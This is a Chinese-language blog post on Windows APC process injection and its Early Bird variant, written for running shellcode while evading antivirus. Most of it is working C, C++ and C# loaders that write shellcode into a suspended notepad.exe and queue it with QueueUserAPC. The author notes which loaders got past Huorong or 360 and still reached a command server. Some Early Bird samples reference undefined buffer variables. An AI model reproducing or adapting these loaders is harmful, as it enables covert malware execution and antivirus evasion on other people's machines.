前言：本文以最新版360作为测试，如果有错漏之处，还请师傅们指正。

APC介绍

APC中文名称为异步过程调用， APC是一个链状的数据结构，可以让一个线程在其本应该的执行步骤前执行其他代码，每个线程都维护这一个APC链。当线程从等待状态苏醒后，会自动检测自己得APC队列中是否存在APC过程。所以只需要将目标进程的线程的APC队列里面添加APC过程，当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。

APC注入的一些前置如下：

线程在进程内执行
线程会调用在APC队列中的函数
应用可以给特定线程的APC队列压入函数(有权限控制)
压入队列后，线程将按照顺序优先级执行(FIFO)
这种注入技术的缺点是只有当线程处在alertable状态时才去执行这些APC函数

MSDN上对此解释如下

QueueUserApc: 函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中

APCproc:　　　函数作用: 回调函数的写法.

首先异步函数调用的原理：

异步过程调用是一种能在特定线程环境中异步执行的系统机制。

往线程APC队列添加APC，系统会产生一个软中断。在线程下一次被调度的时候，就会执行APC函数，APC有两种形式，由系统产生的APC称为内核模式APC，由应用程序产生的APC被称为用户模式APC

APC 注入

简单原理

1.当对面程序执行到某一个上面的等待函数的时候,系统会产生一个中断

2.当线程唤醒的时候,这个线程会优先去Apc队列中调用回调函数

3.我们利用QueueUserApc,往这个队列中插入一个回调

4.插入回调的时候,把插入的回调地址改为LoadLibrary,插入的参数我们使用VirtualAllocEx申请内存,并且写入进去

注入流程

QueueUserAPC函数的第一个参数表示执行的函数地址，当开始执行该APC的时候，程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄，要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似，如果QueueUserAPC函数的第一个参数，即函数地址设置的是LoadLibraryA函数地址，第三个参数，即传递参数设置的是DLL的路径。那么，当执行APC的时候，便会调用LoadLibraryA函数加载指定路径的DLL，完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode。

APC注入实现

函数原型

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,     //APC 注入方式
  [in] HANDLE    hThread,     
  [in] ULONG_PTR dwData
);

C++ 实现

代码如下

#include <Windows.h>
#include <iostream>

unsigned char shellcode[] = "<shellcode>";    //shellcode "\xfc\x48\x83\xe4"


int main()
{
    LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";   //path
    SIZE_T buff = sizeof(shellcode);      //size of shellcode
    STARTUPINFOA sInfo = { 0 };
    PROCESS_INFORMATION pInfo = { 0 };     //return a new process info
    CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo);      //create a new thread for process
    HANDLE hProc = pInfo.hProcess;
    HANDLE hThread = pInfo.hThread;    

    // write shellcode to the process memory
    LPVOID lpvShellAddress = VirtualAllocEx(hProc, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;
    WriteProcessMemory(hProc, lpvShellAddress, shellcode, buff, NULL);

    // use QueueUserAPC  load shellcode
    QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);
    ResumeThread(hThread);

    return 0;
}

C#实现

代码如下

using System;

using System.Runtime.InteropServices;



 public class shellcode

 {

 [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

 public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);



 [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

 public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);



 [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

 public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);



 [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]

 public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);



 [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]

 public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);



 [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]

 public static extern uint ResumeThread(IntPtr hThread);



 [DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]

 public static extern bool CloseHandle(IntPtr hObject);



 [DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]

 public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);



 public enum ProcessAccessRights

 {

 All = 0x001F0FFF,

 Terminate = 0x00000001,

 CreateThread = 0x00000002,

 VirtualMemoryOperation = 0x00000008,

 VirtualMemoryRead = 0x00000010,

 VirtualMemoryWrite = 0x00000020,

 DuplicateHandle = 0x00000040,

 CreateProcess = 0x000000080,

 SetQuota = 0x00000100,

 SetInformation = 0x00000200,

 QueryInformation = 0x00000400,

 QueryLimitedInformation = 0x00001000,

 Synchronize = 0x00100000

 }



 public enum ThreadAccess : int

 {

 TERMINATE = (0x0001),

 SUSPEND_RESUME = (0x0002),

 GET_CONTEXT = (0x0008),

 SET_CONTEXT = (0x0010),

 SET_INFORMATION = (0x0020),

 QUERY_INFORMATION = (0x0040),

 SET_THREAD_TOKEN = (0x0080),

 IMPERSONATE = (0x0100),

 DIRECT_IMPERSONATION = (0x0200),

 THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,

 THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION

 }



 public enum MemAllocation

 {

 MEM_COMMIT = 0x00001000,

 MEM_RESERVE = 0x00002000,

 MEM_RESET = 0x00080000,

 MEM_RESET_UNDO = 0x1000000,

 SecCommit = 0x08000000

 }



 public enum MemProtect

 {

 PAGE_EXECUTE = 0x10,

 PAGE_EXECUTE_READ = 0x20,

 PAGE_EXECUTE_READWRITE = 0x40,

 PAGE_EXECUTE_WRITECOPY = 0x80,

 PAGE_NOACCESS = 0x01,

 PAGE_READONLY = 0x02,

 PAGE_READWRITE = 0x04,

 PAGE_WRITECOPY = 0x08,

 PAGE_TARGETS_INVALID = 0x40000000,

 PAGE_TARGETS_NO_UPDATE = 0x40000000,

 }

 [StructLayout(LayoutKind.Sequential)]

 public struct PROCESS_INFORMATION

 {

 public IntPtr hProcess;

 public IntPtr hThread;

 public int dwProcessId;

 public int dwThreadId;

 }



 [StructLayout(LayoutKind.Sequential)]

 internal struct PROCESS_BASIC_INFORMATION

 {

 public IntPtr Reserved1;

 public IntPtr PebAddress;

 public IntPtr Reserved2;

 public IntPtr Reserved3;

 public IntPtr UniquePid;

 public IntPtr MoreReserved;

 }



 [StructLayout(LayoutKind.Sequential)]

 //internal struct STARTUPINFO

 public struct STARTUPINFO

 {

 uint cb;

 IntPtr lpReserved;

 IntPtr lpDesktop;

 IntPtr lpTitle;

 uint dwX;

 uint dwY;

 uint dwXSize;

 uint dwYSize;

 uint dwXCountChars;

 uint dwYCountChars;

 uint dwFillAttributes;

 public uint dwFlags;

 public ushort wShowWindow;

 ushort cbReserved;

 IntPtr lpReserved2;

 IntPtr hStdInput;

 IntPtr hStdOutput;

 IntPtr hStdErr;

 }




 public static PROCESS_INFORMATION StartProcess(string binaryPath)

 {

 uint flags = 0x00000004;



 STARTUPINFO startInfo = new STARTUPINFO();

 PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();

 CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);



 return procInfo;

 }



 public TestClass()

 {

 string b64 = "<shellcode>"; //shellcode base64 encode

 string targetprocess = "C:/Windows/System32/notepad.exe";



 byte[] shellcode = new byte[] { };

 shellcode = Convert.FromBase64String(b64);



 uint lpNumberOfBytesWritten = 0;



 PROCESS_INFORMATION processInfo = StartProcess(targetprocess);



 IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);

 //write shellcode to the process memory

 IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);



 if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten))

 {



 IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);



 IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);



 ResumeThread(tHandle);



 }

 bool hOpenProcessClose = CloseHandle(pHandle);

 }

 }

这里测试过了火绒但是没过360

C实现

代码如下

#include <windows.h>

#include <stdio.h>




unsigned char shellcode[] = <shellcode>;   //shellcode   {0xfc,0x48,0x83}

unsigned int buff = sizeof(shellcode);



int main(void) {



 STARTUPINFO si;

 PROCESS_INFORMATION pi;

 void * ptApcRoutine;



 ZeroMemory(&si, sizeof(si));

 si.cb = sizeof(si);

 ZeroMemory(&pi, sizeof(pi));



 CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi);



 ptApcRoutine = VirtualAllocEx(pi.hProcess, NULL, buff, MEM_COMMIT, PAGE_EXECUTE_READ);

 WriteProcessMemory(pi.hProcess, ptApcRoutine, (PVOID) shellcode, (SIZE_T) buff, (SIZE_T *) NULL);



 QueueUserAPC((PAPCFUNC)ptApcRoutine, pi.hThread, NULL);



 ResumeThread(pi.hThread);



 return 0;

}

这里被360杀了，但是加载是能上线的。

APC 注入变种 Early bird

Early Bird是一种简单而强大的技术，Early Bird本质上是一种APC注入与线程劫持的变体，由于线程初始化时会调用ntdll未导出函数NtTestAlert，NtTestAlert是一个检查当前线程的 APC 队列的函数，如果有任何排队作业，它会清空队列。当线程启动时，NtTestAlert会在执行任何操作之前被调用。因此，如果在线程的开始状态下对APC进行操作，就可以完美的执行shellcode。（如果要将shellcode注入本地进程，则可以APC到当前线程并调用NtTestAlert函数来执行）

通常使用的 Windows 函数包括：

CreateProcessA ：此函数用于创建新进程及其主线程。
VirtualAllocEx ：在指定进程的虚拟空间保留或提交内存区域
WriteProcessMemory ：将数据写入指定进程的内存区域。
QueueUserAPC ：允许将 APC 对象添加到指定线程的 APC 队列中。

Early bird注入流程

1.创建一个挂起的进程(通常是windows的合法进程)
2.在挂起的进程内申请一块可读可写可执行的内存空间
3.往申请的空间内写入shellcode
4.将APC插入到该进程的主线程
5.恢复挂起进程的线程

Early bird注入实现

C实现

代码如下

#include <Windows.h>




int main() {



 unsigned char shellcode[] = "<shellcode>"; //shellcode  "\xfc\x48\x83\xe4"



 SIZE_T shellSz = sizeof(buff);

 STARTUPINFOA st = { 0 };

 PROCESS_INFORMATION prt = { 0 };



 CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &st, &prt);

 HANDLE victimProcess = prt.hProcess;

 HANDLE threadHandle = prt.hThread;



 LPVOID shellAddr = VirtualAllocEx(victimProcess, NULL, shellSz, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

 PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddr;



 WriteProcessMemory(victimProcess, shellAddr, buff, shellSz, NULL);

 QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);



 ResumeThread(threadHandle);



 return 0;




}

C++实现

代码如下

#include <Windows.h>

int main()
{
    unsigned char shellcode[] = "<shellcode>";    //"\xfc\x48\x83\xe4"
    SIZE_T shellSize = sizeof(buf);
    STARTUPINFOA si = { 0 };
    PROCESS_INFORMATION pi = { 0 };

    CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    HANDLE victimProcess = pi.hProcess;
    HANDLE threadHandle = pi.hThread;

    LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;

    WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
    QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
    ResumeThread(threadHandle);

    return 0;
}